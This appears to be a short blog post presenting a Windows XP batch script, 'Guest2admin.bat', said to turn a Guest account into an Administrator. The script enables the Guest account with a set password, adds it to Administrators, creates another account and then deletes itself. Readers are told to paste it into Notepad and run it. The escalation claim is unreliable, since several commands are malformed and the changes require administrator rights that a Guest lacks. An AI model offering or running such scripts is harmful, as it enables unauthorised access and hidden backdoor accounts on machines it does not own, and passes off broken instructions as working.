Now here’s a small trick I found by which you can convert a Guest account on Windows XP into an Administrator one. All you need to do is copy the code below, copy/paste it into Notepad and save it as Guest2admin.bat on your desktop. echo off title Please wait... cls net user add Username Password /add net user localgroup Administrators Username /add net user Guest 420 /active:yes net localgroup Guests Guest /DELETE net localgroup Administrators Guest /add del %0 Double-click the file to execute or type the above-given code in Command Prompt. I have only tried this once or twice. I found this file in a corner of my PC, so I thought sharing it with my readers. I hope you enjoyed this little trick.